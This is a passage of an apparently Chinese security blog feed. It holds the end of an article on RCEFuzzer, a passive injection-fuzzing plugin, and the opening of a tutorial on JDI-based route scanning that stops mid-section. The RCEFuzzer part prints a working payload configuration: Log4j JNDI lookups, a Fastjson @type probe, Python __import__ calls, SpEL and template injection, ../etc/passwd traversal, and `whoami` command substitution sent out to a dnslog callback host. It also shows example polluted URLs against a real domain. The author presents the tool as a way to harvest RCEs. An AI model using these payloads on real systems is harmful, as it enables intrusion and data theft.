注入等等</p></li><li><p>追加污染：后端带判断类的，如校验传入值包含指定字符串时，追加模式将会非常管用。</p></li></ul></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">还是举个例子：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><a href="https://www.baidu.com/admin/load?host=127.0.0.1&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9" target="_blank">https://www.baidu.com/admin/load?host=127.0.0.1&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9</a></span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">可以污染成：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><a href="https://www.baidu.com/admin/load?host=dnslog&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9" target="_blank">https://www.baidu.com/admin/load?host=dnslog&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9</a></span></code><code><span class="code-snippet_outer"><a href="https://www.baidu.com/admin/load?host=127.0.0.1@dnslog&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9" target="_blank">https://www.baidu.com/admin/load?host=127.0.0.1@dnslog&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9</a></span></code><code><span class="code-snippet_outer"><a href="https://www.baidu.com/admin/load?host=127.0.0.1&amp;config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ==" target="_blank">https://www.baidu.com/admin/load?host=127.0.0.1&amp;config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ==</a></span></code><code><span class="code-snippet_outer">...</span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">为什么要做追加模式在第二个 case 中就可以看出。</p><p style="text-wrap: wrap;"><br/></p></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;height: 15px;vertical-align: top;overflow: hidden;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="text-align: justify;font-size: 12px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><section style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>SSRF</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;height: 15px;vertical-align: top;overflow: hidden;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="text-align: justify;font-size: 12px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">代码抄自：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><a href="https://github.com/ethicalhackingplayground/ssrf-king" target="_blank">https://github.com/ethicalhackingplayground/ssrf-king</a></span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">作者基本覆盖了常见代码产生的 SSRF 和配置错误导致的 SSRF ，非常受用。这里只是封装了嵌套解析，其他改动不大。</p><p style="text-wrap: wrap;"><br/></p></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;height: 15px;vertical-align: top;overflow: hidden;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="text-align: justify;font-size: 12px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><section style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>其他模块</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;height: 15px;vertical-align: top;overflow: hidden;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="text-align: justify;font-size: 12px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">还有很多了其他模块，如响应匹配、文件上传污染、SOAP 请求污染等，但并未在该版本中实现，不再一一介绍。<br/></p><p style="text-wrap: wrap;"><br/></p></section><section style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><section style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><section style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>05</strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><section style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>使用技巧</strong></p></section></section></section><section style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">需要有配套的dnslog：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><a href="https://admin.xxxx.com/logs?token=xxxxxx&amp;type=dns&amp;q=KEY" target="_blank">https://admin.xxxx.com/logs?token=xxxxxx&amp;type=dns&amp;q=KEY</a></span></code><code><span class="code-snippet_outer"><a href="https://admin.xxxx.com/logs?token=xxxxxx&amp;type=http&amp;q=KEY" target="_blank">https://admin.xxxx.com/logs?token=xxxxxx&amp;type=http&amp;q=KEY</a></span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">KEY 是占位符，不能改动 其他无所谓。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">配置文件如下：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer">###</span></code><code><span class="code-snippet_outer">#</span></code><code><span class="code-snippet_outer"># 配置说明:</span></code><code><span class="code-snippet_outer">#    <span class="code-snippet__number">1.</span>tweb的配置是必须要改的, 不改显示不了漏洞</span></code><code><span class="code-snippet_outer">#    <span class="code-snippet__number">2.</span>白名单的优先级是高于黑名单的</span></code><code><span class="code-snippet_outer">#    <span class="code-snippet__number">3.</span>所有配置都是可以动态改的, 不用重新加载插件</span></code><code><span class="code-snippet_outer"># 使用说明:</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#    https:<span class="code-snippet__comment">//www.wolai.com/gS5UWgMmHG4ynJQgzL3AYk</span></span></span></code><code><span class="code-snippet_outer">##<span class="code-snippet__meta">#</span></span></code><code><span class="code-snippet_outer">config:</span></code><code><span class="code-snippet_outer">  version: |  # 插件版本</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__number">0.5</span></span></code><code><span class="code-snippet_outer">  twebdomain: | <span class="code-snippet__meta"># tweb 子域名配置</span></span></code><code><span class="code-snippet_outer">    xxx.xx.com</span></code><code><span class="code-snippet_outer">  twebapi: |  <span class="code-snippet__meta"># tweb api配置 其中KEY为展位符,在新旧版本的tweb均可在Profile页面找到</span></span></code><code><span class="code-snippet_outer">    https:<span class="code-snippet__comment">//admin.xxxx.com/logs?token=xxxxxx&amp;type=dns&amp;q=KEY</span></span></code><code><span class="code-snippet_outer">  timeout: |  # 扫描过程中的超时配置 非tweb请求超时设置 单位毫秒 <span class="code-snippet__number">60000</span>为<span class="code-snippet__number">60</span>秒</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__number">60000</span></span></code><code><span class="code-snippet_outer">  hostBlacklistReg: |  # 禁止扫描的域名列表</span></code><code><span class="code-snippet_outer">    (.+?)(gov\.cn|edu\.cn|tweb|google|gstatic)(.+?)</span></code><code><span class="code-snippet_outer">  extBlacklist: |  # 禁止扫描的后缀列表,这不是正则，本来想从passive-scan-client中抄代码的,结果发现他有bug...</span></code><code><span class="code-snippet_outer">    .js|.css|.jpeg|.gif|.jpg|.png|.pdf|.rar|.zip|.docx|.doc|.ico</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">jsonPollution:</span></code><code><span class="code-snippet_outer">  status:  <span class="code-snippet__meta">#on为开启 off为关闭</span></span></code><code><span class="code-snippet_outer">    on</span></code><code><span class="code-snippet_outer">  allin: | #替换整个json数据包</span></code><code><span class="code-snippet_outer">    {<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>}</span></code><code><span class="code-snippet_outer">  value: | #仅污染json的键值 为了python eval那种情况考虑 不加双引号包裹的话污染结果类似{<span class="code-snippet__string">&#34;test&#34;</span>:__import__(<span class="code-snippet__string">&#39;os&#39;</span>)} {<span class="code-snippet__string">&#34;test&#34;</span>:<span class="code-snippet__string">&#34;{\&#34;dtaa\&#34;:__import__(&#39;os&#39;)}&#34;</span>}</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;${jndi:ldap://dnslog/jsonkey}&#34;</span></span></code><code><span class="code-snippet_outer">    __import__(<span class="code-snippet__string">&#39;socket&#39;</span>).gethostbyaddr(<span class="code-snippet__string">&#39;dnslog&#39;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">paramPollution:</span></code><code><span class="code-snippet_outer">  status: <span class="code-snippet__meta">#on为开启 off为关闭</span></span></code><code><span class="code-snippet_outer">    on</span></code><code><span class="code-snippet_outer">  exprs: | #为了兼容有回显的表达式注入/代码执行漏洞</span></code><code><span class="code-snippet_outer">    {{<span class="code-snippet__number">9527</span>*<span class="code-snippet__number">2333</span>}}|<span class="code-snippet__number">22226491</span></span></code><code><span class="code-snippet_outer">    ${T(java.lang.System).getenv()}|JAVA_HOME</span></code><code><span class="code-snippet_outer">    ${T+++++++(java.lang.System).getenv()}|JAVA_HOME</span></code><code><span class="code-snippet_outer">    {php}var_dump(md5(<span class="code-snippet__number">9527</span>));{/php}|<span class="code-snippet__number">52569</span>c045dc348f12dfc4c85000ad832</span></code><code><span class="code-snippet_outer">    {<span class="code-snippet__keyword">if</span>+var_dump(md5(<span class="code-snippet__number">9527</span>))}{/<span class="code-snippet__keyword">if</span>}|<span class="code-snippet__number">52569</span>c045dc348f12dfc4c85000ad832</span></code><code><span class="code-snippet_outer">    ../../../../../../../../../../../../../../../etc/passwd|root</span></code><code><span class="code-snippet_outer">  value: |</span></code><code><span class="code-snippet_outer">    dnslog</span></code><code><span class="code-snippet_outer">    ${jndi:ldap:<span class="code-snippet__comment">//paramPollution.dnslog/log4j}</span></span></code><code><span class="code-snippet_outer">    `whoami`.dnslog</span></code><code><span class="code-snippet_outer">    http:<span class="code-snippet__comment">//dnslog/</span></span></code><code><span class="code-snippet_outer">    ping+-nc+<span class="code-snippet__number">1</span>+dnslog</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">headerPollution:</span></code><code><span class="code-snippet_outer">  status: <span class="code-snippet__meta">#on为开启 off为关闭</span></span></code><code><span class="code-snippet_outer">    on</span></code><code><span class="code-snippet_outer">  allin: | #一次性污染除了url和host外的所有请求头</span></code><code><span class="code-snippet_outer">    ${jndi:dns:<span class="code-snippet__comment">//dnslog/456}</span></span></code><code><span class="code-snippet_outer">    ${jndi:ldap:<span class="code-snippet__comment">//dnslog/789}</span></span></code><code><span class="code-snippet_outer">  headers: | #添加的请求头如果原数据包有则追加原值污染 无则添加后再发包 竖线|为key和value的分隔符号。</span></code><code><span class="code-snippet_outer">    X-Forwarded-For|${jndi:dns:<span class="code-snippet__comment">//dnslog/456}</span></span></code><code><span class="code-snippet_outer">    X-Api-Version|${jndi:dns:<span class="code-snippet__comment">//dnslog/456}</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">ssrfPollution:</span></code><code><span class="code-snippet_outer">  status: <span class="code-snippet__meta">#on为开启 off为关闭</span></span></code><code><span class="code-snippet_outer">    on</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">responseMatch:</span></code><code><span class="code-snippet_outer">  status: <span class="code-snippet__meta">#on为开启 off为关闭</span></span></code><code><span class="code-snippet_outer">    off</span></code><code><span class="code-snippet_outer">  expr: | #添加的请求头如果原数据包有则覆盖原值污染 无则添加后再发包</span></code><code><span class="code-snippet_outer">    thinkphp:error</span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">参数污染中 exprs 部分的配置以<strong> | </strong>作为切割，区分请求和响应，用于回显漏洞的检测。tweb 处配置 dnslog 的子域名和 api 查询的 url 即可。<br/></p><p style="text-wrap: wrap;"><br/></p></section><section style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><section style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><section style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>06</strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><section style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>写在最后</strong></p></section></section></section><section style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">RCEFuzzer 在实践中直接或间接的为我贡献了几十个的 RCE ，不少系统通过点点就可轻易收割漏洞点，进而撕开口子，拿到代码，进一步审计得到更有价值的洞，是生产漏洞的重要一环，也希望能为各位贡献新的RCE！</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">最后的最后，特别要提的是 RCEFuzzer 中不少思路都来源于 c26root （即大 6 老师）的指点，大 6 老师才是真正的神，大 6 老师🐮🍺！</p></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486853">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=33406f93&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486853%26idx%3D1%26sn%3D61a25af1b8664beb93d01d7496cbd511%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 25 Dec 2023 23:02:00 +0800</pubDate>
    </item>
    <item>
      <title>Router4 -- 应用路由扫描基础知识及核心代码浅析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486851&amp;idx=1&amp;sn=943770d1e11a9807bf5f1f42bb4e4aa6</link>
      <description>Github发现一个很棒的工具，通过JDI实现了Tomcat 各个版本 Jetty，Spring，Struts，Jersey等中间价框架的路由扫描</description>
      <content:encoded><![CDATA[<p>
原创 <span>Skay</span> <span>2023-12-21 17:21</span> <span style="display: inline-block;">北京</span>
</p>

<p>Github发现一个很棒的工具，通过JDI实现了Tomcat 各个版本 Jetty，Spring，Struts，Jersey等中间价框架的路由扫描</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8ae62eda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P59b3xrT2CWx8uyflbA2KibJJerHdUeqBPyrZSlnyHogkffjOyPfmG7WExh3gIT6JPKgFpsJz1QuR7Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">Github发现一个很棒的工具，通过JDI实现了Tomcat 各个版本 Jetty，Spring，Struts，Jersey等中间价框架的路由扫描。写文章的时候已经更新到Router5了</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://github.com/kyo-w/router-router" target="_blank">https://github.com/kyo-w/router-router</a></p><h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>JDI基础知识</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003198" data-ratio="0.5703703703703704" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=adcb6d44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P59b3xrT2CWx8uyflbA2KibJJlVuWqo6jAu3Z15Gv96uiamOGSwk24Bg5y6WfK0uz8SyZk8tpCSqicBeA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">JDI属于JPDA中最上层接口。定义了调试器（Debugger）所需要的一些调试接口。基于这些接口，调试器可以及时地了解目标虚拟机的状态，例如查看目标虚拟机上有哪些类和实例等。另外，调试者还可以控制目标虚拟机的执行，例如挂起和恢复目标虚拟机上的线程，设置断点等。</p><h3 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.25em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>工作方式</h3><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">      首先，调试器（Debuuger）通过 Bootstrap 获取唯一的虚拟机管理器。</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">虚拟机管理器将在第一次被调用时初始化可用的链接器。一般地，调试器会默认地采用启动型链接器进行链接。</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">      然后，调试器调用链接器的 launch () 来启动目标程序，并完成调试器与目标虚拟机的链接。</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">      当链接完成后，调试器与目标虚拟机便可以进行双向通信了。调试器将用户的操作转化为调试命令，命令通过链接被发送到前端运行目标程序的虚拟机上；然后，目标虚拟机根据接受的命令做出相应的操作，将调试的结果发回给后端的调试器；最后，调试器可视化数据信息反馈给用户。</p><h3 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.25em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;color: rgb(31, 35, 